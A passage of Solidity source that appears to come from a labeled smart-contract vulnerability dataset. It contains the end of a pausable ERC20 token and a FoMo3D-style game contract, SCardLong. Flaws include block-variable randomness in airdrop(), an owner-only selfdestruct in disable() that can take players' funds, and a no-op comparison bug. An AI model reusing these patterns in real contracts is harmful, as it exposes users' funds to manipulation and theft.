mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success){
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ZhiXinToken is PausableToken {
string public constant name = "ZhiXin Token";
string public constant symbol = "ZXT";
uint public constant decimals = 18;
uint public constant INITIAL_SUPPLY = 50 * (10 ** 8) * 10 ** uint(decimals);
constructor(address admin) public {
totalSupply_ = INITIAL_SUPPLY;
balances[admin] = totalSupply_;
emit Transfer(address(0x0), admin, totalSupply_);
}
} | 1 | 3,150 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
}
contract modularLong is F3Devents {}
contract SCardLong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xc873e3646534b2253f324ee7f5f7f5b2a857ba9a);
address public ceo;
address public cfo;
string constant public name = "SCard";
string constant public symbol = "SCARD";
uint256 private rndExtra_ = 30 seconds;
uint256 private rndGap_ = 30 seconds;
uint256 constant private rndInit_ = 24 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 24 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
ceo = msg.sender;
cfo = msg.sender;
fees_[0] = F3Ddatasets.TeamFee(30,0);
fees_[1] = F3Ddatasets.TeamFee(60,0);
fees_[2] = F3Ddatasets.TeamFee(20,0);
fees_[3] = F3Ddatasets.TeamFee(40,0);
potSplit_[0] = F3Ddatasets.PotSplit(25,0);
potSplit_[1] = F3Ddatasets.PotSplit(30,0);
potSplit_[2] = F3Ddatasets.PotSplit(10,0);
potSplit_[3] = F3Ddatasets.PotSplit(20,0);
}
modifier isActivated() {
require(activated_ == true, "Not Active!");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "Not Human");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "Too Less");
require(_eth <= 100000000000000000000000, "Too More");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function modCEOAddress(address newCEO)
isHuman()
public
{
require(address(0) != newCEO, "CEO Can not be 0");
require(ceo == msg.sender, "only ceo can modify ceo");
ceo = newCEO;
}
function modCFOAddress(address newCFO)
isHuman()
public
{
require(address(0) != newCFO, "CFO Can not be 0");
require(cfo == msg.sender, "only cfo can modify cfo");
cfo = newCFO;
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
}
else if (_affCode != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
}
else if (_affCode != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
}
else
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
else
{
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 7500000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
}
else
{
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
}
else if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000)
{
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
}
else if (_eth >= 100000000000000000 && _eth < 1000000000000000000)
{
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(55)) / 100;
uint256 _com = (_pot / 20);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d);
cfo.transfer(_com);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _com = _eth / 20;
uint256 _aff = _eth / 10;
if (_team == 0 ) {
_aff = _eth.mul(30) / 100;
}
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
cfo.transfer(_com);
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 20);
airDropPot_ = airDropPot_.add(_air);
if (_team == 0){
_eth = _eth.sub(((_eth.mul(40)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
}else{
_eth = _eth.sub(((_eth.mul(20)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
}
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require( msg.sender == ceo, "ONLY ceo CAN activate" );
require(activated_ == false, "Already Activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function disable()
public
{
require( msg.sender == ceo, "ONLY ceo" );
selfdestruct(ceo);
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
